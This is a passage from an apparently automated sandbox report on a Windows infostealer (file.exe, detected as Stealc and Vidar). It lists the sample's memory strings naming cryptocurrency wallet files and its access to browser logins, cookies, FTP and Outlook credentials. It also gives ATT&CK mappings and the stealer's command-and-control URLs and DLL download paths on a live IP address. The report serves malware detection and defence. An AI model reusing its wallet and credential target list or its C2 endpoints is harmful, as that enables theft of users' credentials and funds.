Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517335011.0000000000EB6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517335011.0000000000EB6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2516211934.0000000000BE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.\

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2516211934.0000000000BC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2516211934.0000000000BE3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1996, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.dd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2517335011.0000000000DD1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2053623666.0000000004EA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2516211934.0000000000B6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1996, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 1996, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Process Injection	3 Obfuscated Files or Information	Security Account Manager	235 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	641 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	24 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	24 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	42%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\chrome.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
chrome.cloudflare-dns.com	0%	Virustotal	Browse
play.google.com	0%	Virustotal	Browse
plus.l.google.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
http://polymer.github.io/AUTHORS.txt	0%	URL Reputation	safe
https://ogs.google.com/widget/callout?eom=1	0%	URL Reputation	safe
https://drive-daily-2.corp.google.com/	0%	URL Reputation	safe
http://polymer.github.io/PATENTS.txt	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://drive-daily-1.corp.google.com/	0%	URL Reputation	safe
https://drive-daily-5.corp.google.com/	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://chromewebstore.google.com/	0%	URL Reputation	safe
https://drive-preprod.corp.google.com/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	0%, Virustotal, Browse	unknown
plus.l.google.com	142.250.186.142	true	false	0%, Virustotal, Browse	unknown
play.google.com	142.250.186.46	true	false	0%, Virustotal, Browse	unknown
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false		unknown
sb.scorecardresearch.com	18.244.18.27	true	false		unknown
www.google.com	142.250.184.196	true	false		unknown
googlehosted.l.googleusercontent.com	142.250.185.193	true	false		unknown
sni1gl.wpc.nucdn.net	152.199.21.175	true	false		unknown
clients2.googleusercontent.com	unknown	unknown	false		unknown
bzib.nelreports.net	unknown	unknown	false		unknown
assets.msn.com	unknown	unknown	false		unknown
c.msn.com	unknown	unknown	false		unknown
ntp.msn.com	unknown	unknown	false		unknown
apis.google.com	unknown	unknown	false		unknown
api.msn.com	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730181571272&w=0&anoncknm=app_anon&NoResponseBody=true	false	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
http://185.215.113.206/746f34465cf17784/softokn3.dll	true	unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730181571259&w=0&anoncknm=app_anon&NoResponseBody=true	false	unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll	true	unknown
https://c.msn.com/c.gif?rnd=1730181570259&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=bfe00f3163ab4b7d893198e3cbe5ca88&activityId=bfe00f3163ab4b7d893198e3cbe5ca88&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=80EA2B33978444B08900C350AC4F446D&MUID=082392D97AE764340DA987FE7BEF6550	false	unknown
https://sb.scorecardresearch.com/b2?rn=1730181570259&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=082392D97AE764340DA987FE7BEF6550&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll	true	unknown
http://185.215.113.206/746f34465cf17784/nss3.dll	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mail.google.com/mail/?usp=installed_webapp	chrome.exe, 00000002.00000002.2343723087.00007AA40119C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2324977041.00007AA400790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2339667432.00007AA400E48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2255739491.00007AA400013000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2333721319.00007AA400A3C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	chrome.exe, 00000002.00000002.2325168905.00007AA4007A8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/-	chrome.exe, 00000002.00000003.2173717396.00007AA401864000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173575322.00007AA401850000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173671958.00007AA401860000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173757063.00007AA40186C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing	chrome.exe, 00000002.00000002.2256630839.00007AA40009C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/oauth2/v2/tokeninfo	msedge.exe, 00000007.00000003.2259296270.0000085400288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2259131636.0000085400284000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/0	chrome.exe, 00000002.00000003.2173717396.00007AA401864000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173575322.00007AA401850000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173671958.00007AA401860000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173757063.00007AA40186C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/7	chrome.exe, 00000002.00000003.2173717396.00007AA401864000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173575322.00007AA401850000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173671958.00007AA401860000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173757063.00007AA40186C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b	chrome.exe, 00000002.00000002.2324411503.00007AA400704000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/document/J	chrome.exe, 00000002.00000002.2324977041.00007AA400790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2339667432.00007AA400E48000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone	chrome.exe, 00000002.00000002.2341708421.00007AA401018000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4633	chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7382	chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/freebl3.dlll	file.exe, 00000000.00000002.2516211934.0000000000BC8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2541883824.0000000023853000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://issuetracker.google.com/284462263	msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/:	chrome.exe, 00000002.00000003.2173717396.00007AA401864000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173575322.00007AA401850000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173671958.00007AA401860000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173757063.00007AA40186C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/document/installwebapp?usp=chrome_defaultnjb	chrome.exe, 00000002.00000002.2312397243.00007AA4005C4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly	chrome.exe, 00000002.00000002.2325248874.00007AA4007C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2325168905.00007AA4007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2311229190.00007AA4004D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 00000002.00000003.2170961042.00007AA40173C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000002.00000003.2147139853.00007AA4010C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2146596934.00007AA400F04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2147699856.00007AA400FB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2148295796.00007AA40120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2148090446.00007AA401104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2147607903.00007AA400DAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2146961611.00007AA400F78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2146906103.00007AA4010A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2147866964.00007AA400430000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2147669068.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2331506062.00007AA40099F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2146932504.00007AA4010F4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/	manifest.json0.9.dr	false		unknown
https://docs.google.com/document/:	chrome.exe, 00000002.00000002.2324977041.00007AA400790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2339667432.00007AA400E48000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 00000002.00000003.2170961042.00007AA40173C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://photos.google.com/settings?referrer=CHROME_NTP	chrome.exe, 00000002.00000003.2145669546.00007AA400FA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2308367081.00007AA4002F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2331780672.00007AA4009C0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7714	chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/presentation/ogl	chrome.exe, 00000002.00000002.2352149833.00007AA4014C0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://unisolated.invalid/	chrome.exe, 00000002.00000002.2331506062.00007AA400990000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000002.00000003.2148295796.00007AA40120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2148090446.00007AA401104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2147866964.00007AA400430000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/chrome/tips/	chrome.exe, 00000002.00000002.2331470320.00007AA400980000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2340297805.00007AA400EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2295892982.00007AA4001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2325308115.00007AA4007E8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
